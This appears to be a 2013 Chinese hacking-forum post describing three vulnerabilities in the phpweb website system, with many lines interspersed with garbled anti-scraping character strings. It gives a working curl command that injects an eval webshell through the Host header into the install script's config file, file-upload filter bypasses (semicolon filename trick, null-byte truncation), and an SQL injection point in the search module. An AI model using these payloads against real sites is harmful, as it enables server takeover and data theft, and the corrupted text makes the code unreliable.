找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2385|回复: 0
打印 上一主题 下一主题

phpweb成品网站最新版(注入、上传、写shell)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:45:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
注入:
& g' a7 S& [0 N0 \$ J( w
4 z* N5 k8 O$ p7 w' D% ~# U之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码
) a* a% Q% e! i( a3 W
# G, c* g/ m  z; C, \( I鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
$ Y+ ]! ~9 y4 F4 \8 y1 j鸡肋2: 有一定安全常识的站长都会删掉 install 目录. w& |1 r" t1 a; s' V

2 A& n0 @; k0 J$ }9 h4 |虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
9 V: {8 q' T& ~. c7 d' i6 h% @2 b9 p3 X- p2 O # ^3 y* b% A  \4 `1 G4 k" E
分析:( w6 X- H  g$ Q' Z
6 T0 p; D% @" Q8 B$ N: n

0 D3 f! K& q, s$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤
  `. `  j2 j. M# u6 y2 E; p
$ b4 x' v4 I6 g5 K                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);1 L, c- o  l: V; a7 A8 {
                                            $filestr=str_replace(" ","",$filestr);+ C$ W; N1 L) o" N2 }, G
                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
: u, z* x1 ^9 A/ E. C                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);* X$ R5 b) D% b% J
                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);6 E3 H7 H9 x6 F2 \4 l
                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
, m7 ~/ `; w! N9 p( x" `* w5 F                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);
0 Q$ z) v3 n5 h; _# K                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
' h1 m* b" F. K6 c                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);, E/ }: }- S+ t4 b) N& ?

6 I. ~  L% t' @7 A" ?/ q9 b) S. F/ _                                            fwrite(fopen($ConFile,"w"),$filestr,30000);
' S: |, U1 D! @: t& [$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^) ?; p3 x5 H, g' P+ _  T; |
: t6 }2 L$ x7 Z7 L' {3 n( S/ E
poc:
$ f! [+ U; y* L! `" n 6 o, l6 h8 w1 {, ~5 C( S& W* b" h
?2 a4 x1 {3 S, t  O
16 N! o/ z% t, ^# E) J
curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"
: D4 [" z! E! j: u% Ushell地址: /config.inc.php2 g+ p$ v% w( z: K# q: R# d
跟之前的 phpcms一样 需要远程数据库' N# E! r& V$ }4 g

' Q$ K& D  \- T* K——————————————————–
7 O1 l% f! v! g上传漏洞(需要进后台):
: \" j- \$ M. l) d漏洞文件: /kedit/upload_cgi/upload.php; V6 P. G  \& V5 k
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
! Y5 X6 W6 j& B% s5 q
! A5 f1 p' U6 M
- H* @/ \7 I' Q& k! u8 Y$ y* B* R& x<?php
, _6 ]: I! H6 F$ v3 J    define("ROOTPATH", "../../");
+ {; M9 q9 ~* W& h& |$ v    include(ROOTPATH."includes/admin.inc.php");
0 a1 ?; Y! ^& V( ?( ?+ p5 Y+ A    NeedAuth(0);
+ a1 V$ e; B7 y5 c& U2 d6 r
) |# y8 U6 q; w( S0 @" h    $dt=date("Ymd",time());8 J2 J3 ~% w  f
    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){) \2 Y% I  g; i  C* p7 Y, [
            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
( v5 T" q8 W% D7 Q# P3 \! u    }$ B/ r: u! c$ e& m! L  m
1 c0 |, ^  o+ T1 U: ]' {- b
    //文件保存目录路径0 k3 _  `: C  c3 [- k& F
    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
8 \0 S9 K8 t! i7 g    echo $save_path;/ q. D4 r: Y6 G+ r( ~
    //文件保存目录URL" E8 B) n5 E) q
    $save_url = '../../'.$_POST['attachPath'].$dt.'/';
( |" |# E* N# ^! i; q / J! x& F1 N' J  J- w
    //定义允许上传的文件扩展名
+ s: S+ y" _% w! J    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀( J; n# \6 x$ k7 v- f

/ z6 `+ `4 U' N* i    //最大文件大小
) p7 x: `* H; T: m) u    $max_size = 1000000;
* A- d6 r# X; S) y) W! A9 ` " s! H5 y7 U+ K5 w, f4 }) t; l
    //更改目录权限; |' M# M$ O; ^2 K! r
    @mkdir($save_path, 0777);4 A5 F+ ^4 U8 h* U2 h
  @0 ?2 ~3 U$ k& {
    //文件的全部路径
" y$ B/ p$ e* [    $file_path = $save_path.$_POST['fileName'];   //保存文件名. m  d1 E, O4 _) z7 C  j

0 q% ^/ _8 a" X9 J" G    //文件URL$ }( r! O( s: O
    $file_url = $save_url.$_POST['fileName'];' N4 ~, m* _( t/ J9 g" k. H; F
//有上传文件时, h" s5 G* {8 I2 j! [' t
    if (empty($_FILES) === false) {
7 w7 z# x/ @, Q. h: K
1 e7 {! I3 P0 b& Y) Z            //原文件名
" r3 @8 B. P6 ~( `4 W  |7 B+ R            $file_name = $_FILES['fileData']['name'];1 P& ?1 y6 \. ?  H; F$ y3 J
            //服务器上临时文件名* s: k: F& I/ A! [! P, F* R) P
            $tmp_name = $_FILES['fileData']['tmp_name'];/ Z0 G) D3 a# d  I$ X7 i9 k* b
            //文件大小
/ v( V6 q6 C1 {3 `- \  G            $file_size = $_FILES['fileData']['size'];! P2 P3 W5 z- W% C
            //检查目录) N, l, w9 Q  Q( G% T
            if (@is_dir($save_path) === false) {
% M7 i) q  S0 P! s                    alert("上传目录不存在。");1 U2 g* a. l  U8 ]0 L
            }5 k8 s$ `5 p) \8 l7 x
            //检查目录写权限
# U, C1 r9 Q* u& @8 g% I6 g/ V            if (@is_writable($save_path) === false) {
. I/ K' x- l+ P8 e; D- ~' {                    alert("上传目录没有写权限。");
- y' @8 t1 i/ I, I( @            }
5 h3 M+ U5 _0 k% Y- K% E            //检查是否已上传/ p. j$ B0 c6 ~2 S
            if (@is_uploaded_file($tmp_name) === false) {+ Y& U2 a4 J' Q. l3 G8 \6 Z
                    alert("临时文件可能不是上传文件。");9 \3 c) A, Y* W* R5 p
            }
, H: G9 S4 f% _& W            //检查文件大小
* K* L% Q6 `( p2 ^            if ($file_size > $max_size) {
% y- O4 ?  ]7 W                    alert("上传文件大小超过限制。");
+ |  E- t  d0 v8 Q            }9 }6 q: t, A& x) i/ n/ d
            //获得文件扩展名8 R# D* p) M# m+ N
            $temp_arr = explode(".", $_POST['fileName']);
  P0 P+ @6 Q7 C$ |            $file_ext = array_pop($temp_arr);
' b! P9 b0 h* |            $file_ext = trim($file_ext);9 s0 e9 S' f+ J; i! C; o* A
            $file_ext = strtolower($file_ext);
+ b2 P7 [, u. u" H. ~1 B; R8 ^# k9 J
6 h$ L* d! e; U- u6 K( t( }" A            //检查扩展名   % S6 j+ A# M9 |
            if (in_array($file_ext, $ext_arr) === false) {     
  `0 T% x6 T# c5 z$ y4 J                    alert("上传文件扩展名是不允许的扩展名。");/ {" Q& j8 W* g# r+ _
            }
/ x3 _/ p5 ~3 R0 O- B% x
0 E5 C# A& ?- H+ D$ s            //移动文件   ( j% N. {+ m- `, m, g% _
            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^. Q# L4 H% B9 H6 u+ @+ H
            if (move_uploaded_file($tmp_name, $file_path) === false) {7 t4 o; @* P7 ^' Z- r
                    alert("上传文件失败。");
+ \$ j) Y' T$ {2 k( h            }4 x+ R9 U" Y. Z# ^; |
, I$ n+ D5 r( K1 Z
            @chmod($file_path,0666);5 h) e0 O; p9 L0 f7 [$ n! z
, z" |/ Y: c1 z; E- F2 ~
    ?>8 {( O! ^, c4 L% {) y. e( A
抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227
0 Q$ K" N( Z% L2 `, |8 [* u, h- { - l$ Q$ }8 P3 t
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
# V8 F* J2 z  s3 `, V6 M
1 y) [3 k# I6 ^0 a( s——————————————————
3 Y& f$ ?/ {- c! v; L, B注入漏洞:/ ?  T5 V7 l$ m. ]
漏洞文件:search/module/search.php+ b5 J" n. E9 B: }* x( Z
/search/index.php?key=1&myord=1 [sqlinjection]
! f0 i" ^. R4 e2 [0 n* W7 d / Q0 t; s2 R8 @

0 D- t! d% }1 Q1 o/ P+ K& L: h<?php
8 k  I5 ]5 S4 _, ~' l   //       ... 省略 n 行...# A" N( e+ X( ~/ @& W: ]6 g: X
   //第18行:% I% Z4 p$ `# P. L( ^5 H
           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响
- ~) n' ?2 R! `6 X# u           $page=htmlspecialchars($_GET["page"]);
0 Y  ?' o9 d* _) [  C           $myord=htmlspecialchars($_GET["myord"]);
$ N0 g5 |4 j; g/ f
6 g8 n6 i8 `# h1 _   //       ... 省略 n 行...
% F8 z! ]0 ^8 N' A* v   $key,$myord 两个参数带入查询
  D7 k* Z8 d) q  M0 R0 X" p   //第47行 $key:+ J0 q# Q) [# @1 V

1 m' @, q7 r& `) [   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过..
* N6 L9 p2 F, Z " i; o2 [& {4 P6 p  A
   //第197行 $myord; r4 r/ W9 ]2 A
   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入
/ t1 J- G5 G7 N( T- Y5 }. Z# {
) g2 u2 l7 K& P( K% n   ?>
0 M4 a: h+ i6 Z) e
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表